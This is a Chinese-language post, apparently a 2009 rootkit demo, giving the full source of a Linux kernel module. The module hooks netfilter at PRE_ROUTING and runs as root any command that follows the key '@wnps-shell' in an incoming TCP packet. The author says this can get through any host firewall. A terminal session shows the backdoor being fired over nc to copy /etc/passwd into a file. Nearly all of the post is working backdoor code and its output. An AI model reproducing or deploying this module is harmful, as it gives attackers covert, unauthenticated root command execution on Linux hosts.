前几天看了 rwrk 这个 rk 的 demo, 它就是利用 netfilter hook 住了进入主机的数据包， hook 点是 NF_IP_PRE_ROUTING，
因此可以在进入 iptables 之前提前实现数据包的过滤。在这个 hook 点上作文章就比较多了，可以实现防火墙， 嗅探器，
当然也可以用来触发回连后门， wnps 就是这么来作的， 因此不管主机防火墙作的规则如何变态，都有机会穿透它。
下面这个 demo 用来演示分析 tcp 包的内容， 分析出里面的命令， 然后去执行它， 有点类似以前的 icmp, ip 包后门，
只不过这些都在内核来完成， 功能更强大。 Demo 在 ubuntu8.10 + 2.6.28 上测试成功。

```
wzt@wzt-laptop:~$ nc -vv localhost 22
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
@wnps-shell:cat /etc/passwd > /home/wzt/pass.log
Protocol mismatch.
sent 49, rcvd 58

demsg:
[ 957.255416] kexec test start ...
[ 1029.692964] hook: function:hook_func-L125: got the tcp key .
[ 1029.692981] hook: function:hook_func-L127: cat /etc/passwd > /home/wzt/pass.log
[ 1029.692985]

wzt@wzt-laptop:~$ ls -lht pass.log
-rw-r--r-- 1 root root 1.7K 2009-06-04 08:08 pass.log

+-------------------------------------------------------------------+

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/kmod.h>
#include <linux/vmalloc.h>
#include <linux/workqueue.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/netfilter.h>
```

```
#include <linux/netfilter_ipv4.h>
#include <linux/icmp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>

#define HOOK_DEBUG

#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \
        printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define DbgPrint(format, args...) do {} while(0);
#endif

#define TCP_SHELL_KEY      "@wnps-shell"

#define PORT_NUM        6
#define IP_NUM            20
#define BUFF_NUM        512

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

struct exec_work {
    struct work_struct work;
    char *cmd;
};

static struct nf_hook_ops nfho;

int kexec_user_app(void *data)
{
    struct exec_work *work = data;
    int ret;
    char *argv[] = {"/bin/sh", "-c", work->cmd, NULL};
        char *envp[] = { "HOME=/",
                         "TERM=linux",
                         "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
                         NULL };
    ret = call_usermodehelper(argv[0], argv, envp, 1);

    return ret;
}
```

```
int execute_user_command(char *cmd)
{
	struct exec_work *exec_work;

	exec_work = kmalloc(sizeof(struct exec_work), GFP_ATOMIC);
	exec_work->cmd = kmalloc(1024*sizeof(char), GFP_ATOMIC);

	INIT_WORK(&exec_work->work, kexec_user_app);
	strncpy(exec_work->cmd, cmd, strlen(cmd) + 1);

	schedule_work(&exec_work->work);

	return 0;
}

unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
        struct sk_buff *sk = skb_copy(skb, 1);
#else
	struct sk_buff *sk = *skb;
#endif
        struct iphdr *ip;
	struct tcphdr *tcphdr;
	char buf[BUFF_NUM], *data = NULL;
	char *p;

        if (!sk)
                return NF_ACCEPT;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
	ip = ip_hdr(sk);
#else
	ip = sk->nh.iph;
#endif

        switch (ip->protocol) {
                case 1:
                        return NF_ACCEPT;
```

```
                        case 6:
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
                                tcphdr = ip_hdr(sk);

                                tcphdr =
                                        (struct tcphdr *)((void *)sk->data +
                                                ((struct iphdr *)sk->data)->ihl * 4);

                data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
#else
                                tcphdr = (struct tcphdr *)((__u32 *)ip + ip->ihl);

                data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
#endif

                                /*
                                  * filter the connected tcp packet
                                  */
                if ((p = strstr(data, TCP_SHELL_KEY)) != NULL) {
                        DbgPrint("got the tcp key .\n");
                        p += strlen(TCP_SHELL_KEY) + 1;
                        DbgPrint("%s\n", p);
                        execute_user_command(p);
                                        goto out;
                }

                out:
                memset(buf, '\0', BUFF_NUM);

                                return NF_ACCEPT;

                        default:
                                return NF_ACCEPT;
        }
}

static int kexec_test_init(void)
{
        printk("kexec test start ...\n");

        nfho.hook = hook_func;
        nfho.owner = NULL;
        nfho.pf = PF_INET;
```

```
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
        nfho.hooknum = NF_INET_PRE_ROUTING;
#else
        nfho.hooknum = NF_IP_PRE_ROUTING;
#endif

    nfho.priority = NF_IP_PRI_FIRST;

    nf_register_hook(&nfho);

    return 0;
}

static void kexec_test_exit(void)
{
    printk("kexec test exit ...\n");
    nf_unregister_hook(&nfho);
}

module_init(kexec_test_init);
module_exit(kexec_test_exit);
```